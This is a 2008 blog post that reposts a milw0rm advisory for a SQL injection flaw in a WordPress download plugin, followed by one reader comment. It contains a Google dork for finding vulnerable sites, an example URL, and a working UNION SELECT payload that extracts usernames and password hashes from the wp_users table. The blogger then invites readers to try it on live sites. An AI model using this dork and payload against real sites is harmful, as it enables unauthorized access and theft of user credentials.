Latest Wordpress Vulnerability

March 31st, 2008
Goto comments Leave a comment

highly critical issue i found several day ago that wordpress 2.3.3 has vulnerability.and it has posted smackdown.blogsblogsblogs.com, shoemoney.com and even at the wordpress forum. i hope all fixed because wordpress has release the newest version.

but another vulnerability has found by BL4CK an author from milw0rm.com that another wordpress plugin vulnerable can be injected by SQLinjection like the papper BL4CK wrote below

# Wordpress Plugin Download file Remote SQL Injection Vulnerability

# Author: BL4CK

# Mail: bl4ck00@gmail.com

# Dork: inurl:”wp-download.php?dl_id=”

#Example:

http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]

#SQL:

null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*

wanna try this one? :D

Related Posts



[Read the rest on (it)gossips network: admin]


Author: Gautam Categories: Uncategorized Tags:
  1. Luxor
    May 29th, 2008 at 21:12 | #1
    Reply | Quote

    Lots of people still use wordpress 2.3.3 though, they prefer support of addons than security

    Luxor’s last blog post..Dita Ambassador Sunglasses

  1. No trackbacks yet.